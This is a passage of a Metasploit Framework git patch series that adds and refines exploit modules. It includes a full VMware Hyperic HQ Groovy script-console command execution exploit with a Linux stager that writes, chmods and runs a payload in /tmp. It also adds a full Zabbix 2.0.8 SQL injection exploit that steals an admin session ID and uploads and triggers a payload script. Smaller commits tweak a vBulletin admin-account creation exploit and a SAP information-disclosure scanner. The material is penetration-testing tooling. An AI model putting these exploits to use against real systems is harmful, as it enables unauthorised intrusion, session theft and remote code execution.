charset=UTF-8', + } + }) - rescue ::Rex::ConnectionError - vprint_error("#{rhost}:#{rport} - Unable to connect to service") - return - end + rescue ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - Unable to connect to service") + return + end - if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i - faultcode = $1.strip - vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") - return + if res and res.code == 500 and res.body =~ /<faultstring>(.*)<\/faultstring>/i + faultcode = $1.strip + vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") + return - elsif res and res.code != 200 - vprint_error("#{rhost}:#{rport} - Error in response") - return - end + elsif res and res.code != 200 + vprint_error("#{rhost}:#{rport} - Error in response") + return + end - initialize_tables() + initialize_tables() - vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") + vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") - begin - response_xml = REXML::Document.new(res.body) - computer_info = response_xml.elements.to_a("//mProperties/") # Computer info - detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info - rescue - print_error("#{rhost}:#{rport} - Unable to parse XML response") - return - end + begin + response_xml = REXML::Document.new(res.body) + computer_info = response_xml.elements.to_a("//mProperties/") # Computer info + detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info + rescue + print_error("#{rhost}:#{rport} - Unable to parse XML response") + return + end - success = parse_computer_info(computer_info) - # assume that if we can parse the first part, it is a valid SAP XML response + success = parse_computer_info(computer_info) + # assume that if we can parse the first part, it is a valid SAP XML response - detailed_info.each { |item| - temp_table =[] + detailed_info.each { |item| + temp_table =[] - # some items have no <mValue>, so we put a dummy with nil - body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") - item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) + # some items have no <mValue>, so we put a dummy with nil + body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") + item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) <\/mValue><\/item>/ix) - if item_list + if item_list - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end + item_list.each do |m| + temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) + end - case "#{item_list}" - when /ITSAMOperatingSystem/ - parse_os_info(temp_table) + case "#{item_list}" + when /ITSAMOperatingSystem/ + parse_os_info(temp_table) - when /ITSAMOSProcess/ - parse_process_info(temp_table) + when /ITSAMOSProcess/ + parse_process_info(temp_table) - when /ITSAMFileSystem/ - parse_fs_info(temp_table) + when /ITSAMFileSystem/ + parse_fs_info(temp_table) - when /ITSAMNetworkPort/ - parse_net_info(temp_table) + when /ITSAMNetworkPort/ + parse_net_info(temp_table) - end + end - end - } - if success - print_good("#{rhost}:#{rport} - Information retrieved successfully") - else - print_error("#{rhost}:#{rport} - Unable to parse reply") - return - end + end + } + if success + print_good("#{rhost}:#{rport} - Information retrieved successfully") + else + print_error("#{rhost}:#{rport} - Unable to parse reply") + return + end - sap_tables_clean = '' + sap_tables_clean = '' - [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| - sap_tables_clean << t.to_s - end + [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| + sap_tables_clean << t.to_s + end - vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) + vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) - xml_raw = store_loot( - "sap.getcomputersystem", - "text/xml", - rhost, - res.body, - "sap_getcomputersystem.xml", - "SAP GetComputerSystem XML" - ) + xml_raw = store_loot( + "sap.getcomputersystem", + "text/xml", + rhost, + res.body, + "sap_getcomputersystem.xml", + "SAP GetComputerSystem XML" + ) - xml_parsed = store_loot( - "sap.getcomputersystem", - "text/plain", - rhost, - sap_tables_clean, - "sap_getcomputersystem.txt", - "SAP GetComputerSystem XML" - ) + xml_parsed = store_loot( + "sap.getcomputersystem", + "text/plain", + rhost, + sap_tables_clean, + "sap_getcomputersystem.txt", + "SAP GetComputerSystem XML" + ) - print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") + print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") - end + end end From 09f0db7fdfa8fe82fe7ba059c579bc15f58d3b22 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 10 Oct 2013 13:19:10 -0500 Subject: [PATCH 173/210] Switch to rexml parsing, add some comments and cleanup --- .../sap/sap_hostctrl_getcomputersystem.rb | 179 ++++++++++++------ 1 file changed, 120 insertions(+), 59 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 9541a0cfff..2d3aa92c7e 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -148,53 +148,144 @@ class Metasploit4 < Msf::Auxiliary end - def parse_computer_info(computer_info) - + # Parses an array of mProperties elements. For every mProperties element, + # if there is an item with mValue ITSAMComputerSystem, then collect the + # values for the items with mName in (Name, Hostnames, IPAdresses) + def parse_computer_info(data) success = false - computer_info.each { |item| + data.each do |properties| + name, hostnames, addresses = "" - temp_table =[] - - body = "#{item}" - - item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?)<\/mValue><\/item>/ix) - - if item_list and "#{item_list}" =~ /ITSAMComputerSystem/ - - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - @computer_table << [temp_table[0], temp_table[1], temp_table[2]] - success = true + if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty? + next end - } + + item_list = properties.get_elements("item") + item_list.each do |item| + item_name = item.get_elements("mName").first.text + item_value = item.get_elements("mValue").first.text + + case item_name + when "Name" + name = item_value + when "Hostnames" + hostnames = item_value + when "IPAdresses" + addresses = item_value + end + end + + @computer_table << [name, hostnames, addresses] + + success = true + end + return success end + # Get the mValues of every item + def parse_values(data, ignore) + values = [] + + item_list = data.get_elements("item") + item_list.each do |item| + value_item = item.get_elements("mValue") + + if value_item.empty? + value = "" + else + value = value_item.first.text + end + + if value == ignore + next + end + + values << value + end + return values + end + + # Parses an array of mProperties elements and get the interesting info + # including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and + # ITSAMNetworkPort properties. + def parse_detailed_info(data) + data.each do |properties| + if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty? + values = parse_values(properties, "ITSAMOperatingSystem") + parse_os_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty? + values = parse_values(properties, "ITSAMOSProcess") + parse_process_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty? + values = parse_values(properties, "ITSAMFileSystem") + parse_fs_info(values) + end + + if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty? + values = parse_values(properties, "ITSAMNetworkPort") + parse_net_info(values) + end + end + end + def parse_os_info(os_info) - @os_table << [os_info[0], os_info[1], os_info[2], os_info[8], os_info[11], os_info[12], os_info[13], - os_info[17], os_info[18]+'%', os_info[19]+'%', os_info[20]+'%'] + @os_table << [ + os_info[0], + os_info[1], + os_info[2], + os_info[8], + os_info[11], + os_info[12], + os_info[13], + os_info[17], + os_info[18]+'%', + os_info[19]+'%', + os_info[20]+'%' + ] end def parse_process_info(process_info) - @process_table << [process_info[0], process_info[1], process_info[2], process_info[3], process_info[4], - process_info[5], process_info[6]+'%', process_info[7], process_info[8]] + @process_table << [ + process_info[0], + process_info[1], + process_info[2], + process_info[3], + process_info[4], + process_info[5], + process_info[6]+'%', + process_info[7], + process_info[8] + ] end def parse_fs_info(fs_info) - @fs_table << [fs_info[0], fs_info[2], fs_info[3], fs_info[4]] + @fs_table << [ + fs_info[0], + fs_info[2], + fs_info[3], + fs_info[4] + ] end def parse_net_info(net_info) - @net_table << [net_info[0], net_info[1], net_info[2], net_info[3], net_info[4], net_info[5]] + @net_table << [ + net_info[0], + net_info[1], + net_info[2], + net_info[3], + net_info[4], + net_info[5] + ] end def run_host(rhost) - rport = datastore['RPORT'] - vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") data = '<?xml version="1.0" encoding="utf-8"?>' @@ -247,39 +338,6 @@ class Metasploit4 < Msf::Auxiliary end success = parse_computer_info(computer_info) - # assume that if we can parse the first part, it is a valid SAP XML response - - detailed_info.each { |item| - temp_table =[] - - # some items have no <mValue>, so we put a dummy with nil - body = "#{item}".gsub(/\/mType><\/item/, "\/mType><mValue>(nil)<\/mValue><\/item") - item_list = body.scan(/<item><mName>(.+?)<\/mName><mType>(.+?)<\/mType><mValue>(.+?) -<\/mValue><\/item>/ix) - - if item_list - - item_list.each do |m| - temp_table << "#{m[2]}" unless ("#{m}" =~ /ITSAM/) - end - - case "#{item_list}" - when /ITSAMOperatingSystem/ - parse_os_info(temp_table) - - when /ITSAMOSProcess/ - parse_process_info(temp_table) - - when /ITSAMFileSystem/ - parse_fs_info(temp_table) - - when /ITSAMNetworkPort/ - parse_net_info(temp_table) - - end - - end - } if success print_good("#{rhost}:#{rport} - Information retrieved successfully") else @@ -287,6 +345,9 @@ class Metasploit4 < Msf::Auxiliary return end + # assume that if we can parse the first part, it is a valid SAP XML response + parse_detailed_info(detailed_info) + sap_tables_clean = '' [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| From 276ea22db3b96ca94ea5642a8160eb2449c3e926 Mon Sep 17 00:00:00 2001 From: bcoles <bcoles@gmail.com> Date: Fri, 11 Oct 2013 05:07:23 +1030 Subject: [PATCH 174/210] Add VMware Hyperic HQ Groovy Script-Console Java Execution --- .../multi/http/hyperic_hq_script_console.rb | 244 ++++++++++++++++++ 1 file changed, 244 insertions(+) create mode 100644 modules/exploits/multi/http/hyperic_hq_script_console.rb diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb new file mode 100644 index 0000000000..94904bf853 --- /dev/null +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -0,0 +1,244 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerVBS + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution', + 'Description' => %q{ + This module uses the VMware Hyperic HQ Groovy script console to execute + OS commands using Java. Valid credentials for an application + administrator user account are required. + }, + 'Author' => + [ + 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'WfsDelay' => '15', + }, + 'References' => + [ + ['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html'] + ], + 'Targets' => + [ + # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 + ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], + #['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], + #['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Oct 10 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptBool.new('SSL', [true, 'Use SSL', true]), + Opt::RPORT(7443), + OptString.new('USERNAME', [ true, 'The username for the application', 'hqadmin' ]), + OptString.new('PASSWORD', [ true, 'The password for the application', 'hqadmin' ]), + OptString.new('TARGETURI', [ true, 'The path to HypericHQ', '/' ]), + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + # + # Login + # + def login(user, pass) + + @cookie = "JSESSIONID=#{Rex::Text.rand_text_hex(32)}" + res = send_request_cgi({ + 'uri' => normalize_uri(@uri.path, "j_spring_security_check?org.apache.catalina.filters.CSRF_NONCE="), + 'method' => 'POST', + 'cookie' => @cookie, + 'vars_post' => { + 'j_username' => Rex::Text.uri_encode(user, 'hex-normal'), + 'j_password' => Rex::Text.uri_encode(pass, 'hex-normal'), + 'submit' => 'Sign+in' + } + }) + res + end + + # + # Check access to the Groovy script console and get CSRF nonce + # + def get_nonce + res = send_request_cgi({ + 'uri' => normalize_uri(@uri.path, "mastheadAttach.do?typeId=10003"), + 'cookie' => @cookie + }) + if not res or res.code != 200 + print_warning("#{peer} - Could not access the script console") + end + if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/ + @nonce = $1 + vprint_status("#{peer} - Found token '#{@nonce}'") + end + res + end + + # + # Check credentials and check for access to the Groovy console + # + def check + + @uri = target_uri + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + + # login + print_status("#{peer} - Authenticating as '#{user}'") + res = login(user, pass) + if res and res.code == 302 and res.headers['location'] !~ /authfailed/ + print_good("#{peer} - Authenticated successfully as '#{user}'") + # check access to the console + print_status("#{peer} - Checking access to the script console") + res = get_nonce + if @nonce.nil? + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Vulnerable + end + elsif res.headers.include?('X-Jenkins') or res.headers['location'] =~ /authfailed/ + print_error("#{peer} - Authentication failed") + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Safe + end + + end + + def on_new_session(client) + if not @to_delete.nil? + print_warning("#{peer} - Deleting #{@to_delete} payload file") + execute_command("rm #{@to_delete}") + end + end + + def http_send_command(cmd, opts = {}) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@uri.path, 'hqu/gconsole/console/execute.hqu?org.apache.catalina.filters.CSRF_NONCE=')+@nonce, + 'cookie' => @cookie, + 'vars_post' => { + 'code' => java_craft_runtime_exec(cmd) + } + }) + if res and res.code == 200 and res.body =~ /Executed/ + vprint_good("#{peer} - Command executed successfully") + else + fail_with(Exploit::Failure::Unknown, "#{peer} - Failed to execute the command.") + end + # version 4.6.6 returns a new CSRF nonce in the response + if res.body =~ /org\.apache\.catalina\.filters\.CSRF_NONCE=([A-F\d]+)/ + @nonce = $1 + vprint_status("#{peer} - Found token '#{@nonce}'") + # version 4.5.2 does not, so we request a new one + else + get_nonce + end + end + + # Stolen from jenkins_script_console.rb + def java_craft_runtime_exec(cmd) + decoder = Rex::Text.rand_text_alpha(5, 8) + decoded_bytes = Rex::Text.rand_text_alpha(5, 8) + cmd_array = Rex::Text.rand_text_alpha(5, 8) + jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n" + jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n" + + jcode << "String [] #{cmd_array} = new String[3];\n" + if target['Platform'] == 'win' + jcode << "#{cmd_array}[0] = \"cmd.exe\";\n" + jcode << "#{cmd_array}[1] = \"/c\";\n" + else + jcode << "#{cmd_array}[0] = \"/bin/sh\";\n" + jcode << "#{cmd_array}[1] = \"-c\";\n" + end + jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n" + jcode << "Runtime.getRuntime().exec(#{cmd_array});" + jcode + end + + def execute_command(cmd, opts = {}) + vprint_status("#{peer} - Attempting to execute: #{cmd}") + http_send_command("#{cmd}") + end + + # Stolen from jenkins_script_console.rb + def linux_stager + cmds = "echo LINE | tee FILE" + exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) + base64 = Rex::Text.encode_base64(exe) + base64.gsub!(/\=/, "\\u003d") + file = rand_text_alphanumeric(6+rand(4)) + + execute_command("touch /tmp/#{file}.b64") + cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") + base64.each_line do |line| + line.chomp! + cmd = cmds + cmd.gsub!(/LINE/, line) + execute_command(cmds) + end + + execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") + execute_command("chmod +x /tmp/#{file}") + execute_command("rm /tmp/#{file}.b64") + + execute_command("/tmp/#{file}") + @to_delete = "/tmp/#{file}" + end + + def exploit + + # login + @uri = target_uri + user = datastore['USERNAME'] + pass = datastore['PASSWORD'] + res = login(user, pass) + if res and res.code == 302 and res.headers['location'] !~ /authfailed/ + print_good("#{peer} - Authenticated successfully as '#{user}'") + else + fail_with(Exploit::Failure::NoAccess, "#{peer} - Authentication failed") + end + + # check access to the console and get CSRF nonce + print_status("#{peer} - Checking access to the script console") + res = get_nonce + + # send payload + case target['Platform'] + when 'win' + print_status("#{peer} - Sending VBS stager...") + execute_cmdstager({:linemax => 2049}) + when 'unix' + print_status("#{peer} - Sending UNIX payload...") + http_send_command("#{payload.encoded}") + when 'linux' + print_status("#{rhost}:#{rport} - Sending Linux stager...") + linux_stager + end + + handler + end +end From 171b70fa7c9626fc309b95df43414d30cba14de8 Mon Sep 17 00:00:00 2001 From: pyoor <kratzer.j.m@gmail.com> Date: Mon, 7 Oct 2013 10:09:47 -0400 Subject: [PATCH 175/210] Zabbix v2.0.8 SQLi and RCE Module Conflicts: modules/exploits/linux/http/zabbix_sqli.rb Commit completed version of zabbix_sqli.rb --- modules/exploits/linux/http/zabbix_sqli.rb | 188 +++++++++++++++++++++ 1 file changed, 188 insertions(+) create mode 100644 modules/exploits/linux/http/zabbix_sqli.rb diff --git a/modules/exploits/linux/http/zabbix_sqli.rb b/modules/exploits/linux/http/zabbix_sqli.rb new file mode 100644 index 0000000000..5f8d6ee2c2 --- /dev/null +++ b/modules/exploits/linux/http/zabbix_sqli.rb @@ -0,0 +1,188 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Zabbix 2.0.8 SQL Injection and Remote Code Execution", + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting Zabbix + versions 2.0.8 and lower. The SQL injection issue can be abused in order to retrieve an + active session ID. If an administrator level user is identified, remote code execution + can be gained by uploading and executing remote scripts via the 'scripts_exec.php' file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Lincoln <Lincoln[at]corelan.be>', # Discovery, Original Proof of Concept + 'Jason Kratzer <pyoor[at]corelan.be>' # Metasploit Module + ], + 'References' => + [ + ['CVE', '2013-5743'], + ['URL', 'https://support.zabbix.com/browse/ZBX-7091'] + ], + 'Platform' => ['unix'], + 'Arch' => ARCH_CMD, + 'Targets' => + [ + ['Zabbix version <= 2.0.8', {}] + ], + 'Privileged' => false, + 'Payload' => + { + 'Space' => 255, + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python' + } + }, + 'DisclosureDate' => "Sep 23 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI of the vulnerable Zabbix instance', '/zabbix']), + ], self.class) + end + + def peer + return "#{rhost}:#{rport}" + end + + def uri + return target_uri.path + end + + def check + # Check version + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "httpmon.php") + }) + + if res and res.code == 200 and res.body =~ /(STATUS OF WEB MONITORING)/ + res.body =~ /(?<=Zabbix )(.*)(?= Copyright)/ + version = $1 + print_status("#{peer} - Zabbix version #{version} detected") + else + # If this fails, guest access may not be enabled + print_status("#{peer} - Unable to access httpmon.php") + return Exploit::CheckCode::Unknown + end + + if version and version <= "2.0.6" + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Safe + end + end + + def get_session_id + # Generate random string and convert to hex + sqlq = rand_text_alpha(8) + sqls = sqlq.each_byte.map { |b| b.to_s(16) }.join + sqli = "2 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x#{sqls},(SELECT MID((IFNULL(CAST" + sqli << "(sessionid AS CHAR),0x20)),1,50) FROM zabbix.sessions WHERE status=0 and userid=1 " + sqli << "LIMIT 0,1),0x#{sqls},FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)" + + # Extract session id from database + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "httpmon.php"), + 'vars_get' => { + "applications" => sqli, + }, + }) + + if res && res.code == 200 and res.body =~ /(?<=#{sqlq})(.*)(?=#{sqlq})/ + session = $1 + print_status("#{peer} - Extracted session cookie - [ #{session} ]") + return session + else + fail_with(Failure::Unknown, "#{peer} - Unable to extract a valid session") + end + end + + def exploit + # Retrieve valid session id + @session = get_session_id + @sid = "#{@session[16..-1]}" + script_name = rand_text_alpha(8) + # Upload script + print_status("#{peer} - Attempting to inject payload") + res = send_request_cgi({ + 'method' => 'POST', + 'cookie' => "zbx_sessionid=#{@session}", + 'uri' => normalize_uri(uri, "scripts.php"), + 'vars_post' => { + 'sid' => @sid, + 'form' => 'Create+script', + 'name' => script_name, + 'type' => '0', + 'execute_on' => '1', + 'command' => payload.encoded, + 'commandipmi' => '', + 'description' => '', + 'usrgrpid' => '0', + 'groupid' => '0', + 'access' => '2', + 'save' => 'Save', + }, + }) + + if res and res.code == 200 and res.body =~ /(Script added)/ + print_status("#{peer} - Payload injected successfully") + else + fail_with(Failure::Unknown, "#{peer} - Payload injection failed!") + end + + # Extract 'scriptid' value + @scriptid = /(?<=scriptid=)(\d+)(?=&sid=#{@sid}">#{script_name})/.match(res.body) + + # Trigger Payload + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri("#{uri}", "scripts_exec.php"), + 'cookie' => "zbx_sessionid=#{@session}", + 'vars_get' => { + "execute" =>1, + "scriptid" => @scriptid, + "sid" => @sid, + "hostid" => "10084" + }, + }) + end + + def cleanup + post_data = "sid=#{@sid}&form_refresh=1&scripts[#{@scriptid}]=#{@scriptid}&go=delete&goButton=Go (1)" + print_status("#{peer} - Cleaning script remnants") + res = send_request_cgi({ + 'method' => 'POST', + 'data' => post_data, + 'cookie' => "zbx_sessionid=#{@session}", + 'uri' => normalize_uri(uri, "scripts.php") + }) + + if res and res.code == 200 and res.body =~ /(Script deleted)/ + vprint_status("#{peer} - Script removed successfully") + else + vprint_warning("#{peer} - Unable to remove script #{@scriptid}") + end + end +end From cad7329f2dcf14498a13f402a20bc2c30267e7ac Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 10 Oct 2013 22:09:38 -0500 Subject: [PATCH 176/210] Minor updates to vbulletin admin exploit --- modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index bf1304c6f2..9875098f33 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -50,10 +50,6 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end - def peer - return "#{rhost}:#{rport}" - end - def run if user == pass @@ -88,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 and res.body =~ /Administrator account created/ - print_good("#{peer} - Admin account with credentials #{user}/#{pass} successfully created") + print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") report_auth_info( :host => rhost, :port => rport, From b26085457fb8e98a780f6b82060488bff59e2b6e Mon Sep 17 00:00:00 2001 From: Bruno Morisson <morisson@genhex.org> Date: Fri, 11 Oct 2013 11:29:27 +0100 Subject: [PATCH 177/210] Trying to prevent @jvazquez-r7 from crying when reading my code: - Documented fields in the several tables; - Fixed the "remote" field location on the fs_table (changed due to REXML parsing); - Fixed Total Memory field on os_table (bug?); --- .../sap/sap_hostctrl_getcomputersystem.rb | 60 +++++++++---------- 1 file changed, 30 insertions(+), 30 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index 2d3aa92c7e..c59e8ba503 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -235,51 +235,51 @@ class Metasploit4 < Msf::Auxiliary def parse_os_info(os_info) @os_table << [ - os_info[0], - os_info[1], - os_info[2], - os_info[8], - os_info[11], - os_info[12], - os_info[13], - os_info[17], - os_info[18]+'%', - os_info[19]+'%', - os_info[20]+'%' + os_info[0], # OS name + os_info[1], # OS type + os_info[2], # OS Version + os_info[7], # Total Memory + os_info[11], # Load Average (1m) + os_info[12], # Load Average (5m) + os_info[13], # Load Average (15m) + os_info[17], # Number of CPUs / Cores + os_info[18]+'%', # CPU usage (User) + os_info[19]+'%', # CPU usage (system) + os_info[20]+'%' # CPU idle ] end def parse_process_info(process_info) @process_table << [ - process_info[0], - process_info[1], - process_info[2], - process_info[3], - process_info[4], - process_info[5], - process_info[6]+'%', - process_info[7], - process_info[8] + process_info[0], # Process name + process_info[1], # PID + process_info[2], # Username + process_info[3], # Priority + process_info[4], # Mem size + process_info[5], # pages + process_info[6]+'%', # CPU usage + process_info[7], # CPU time + process_info[8] # Command ] end def parse_fs_info(fs_info) @fs_table << [ - fs_info[0], - fs_info[2], - fs_info[3], - fs_info[4] + fs_info[0], # Filesystem Name + fs_info[2], # Size + fs_info[3], # Space Available + fs_info[6] # Is the filesystem remote ? ] end def parse_net_info(net_info) @net_table << [ - net_info[0], - net_info[1], - net_info[2], - net_info[3], - net_info[4], - net_info[5] + net_info[0], # Network Device ID + net_info[1], # Packets In + net_info[2], # Packets Out + net_info[3], # Errors In + net_info[4], # Errors Out + net_info[5] # Collisions ] end From 63349e4664a42d5f0d00f6bbc77c67f1b6a25e40 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 11 Oct 2013 09:14:59 -0500 Subject: [PATCH 178/210] Add OSVDB and BID references --- .../auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb index c59e8ba503..27ab2d7753 100644 --- a/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb +++ b/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem.rb @@ -26,12 +26,14 @@ class Metasploit4 < Msf::Auxiliary [ # General ['CVE', '2013-3319'], + ['OSVDB', '95616'], + ['BID', '61402'], ['URL', 'https://service.sap.com/sap/support/notes/1816536'], ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] ], 'Author' => [ - 'Bruno Morisson <bm[at]integrity.pt>' + 'Bruno Morisson <bm[at]integrity.pt>' # Discovery and msf module ], 'License' => MSF_LICENSE ) From 0b93996b05631f1a4cba0ca754f240c9302fde8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Fri, 11 Oct 2013 13:19:10 -0500 Subject: [PATCH 179/210] Clean and add Automatic target --- .../multi/http/hyperic_hq_script_console.rb | 95 ++++++++++++++----- 1 file changed, 71 insertions(+), 24 deletions(-) diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 94904bf853..8b63b06ad5 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = GoodRanking + Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerVBS @@ -18,10 +18,11 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'VMware Hyperic HQ Groovy Script-Console Java Execution', 'Description' => %q{ This module uses the VMware Hyperic HQ Groovy script console to execute - OS commands using Java. Valid credentials for an application - administrator user account are required. + OS commands using Java. Valid credentials for an application administrator + user account are required. This module has been tested successfully with + Hyperic HQ 4.6.6 on Windows 2003 SP2 and Ubuntu 10.04 systems. }, - 'Author' => + 'Author' => [ 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], @@ -34,14 +35,16 @@ class Metasploit3 < Msf::Exploit::Remote [ ['URL', 'https://pubs.vmware.com/vfabric5/topic/com.vmware.vfabric.hyperic.4.6/ui-Groovy.html'] ], - 'Targets' => + 'Targets' => [ - # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 + # Tested on Hyperic HQ versions 4.5.2-win32 and 4.6.6-win32 on Windows XP SP3 and Ubuntu 10.04 + ['Automatic', {} ], ['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}], - #['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }], - #['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}] + ['Linux', {'Arch' => ARCH_X86, 'Platform' => 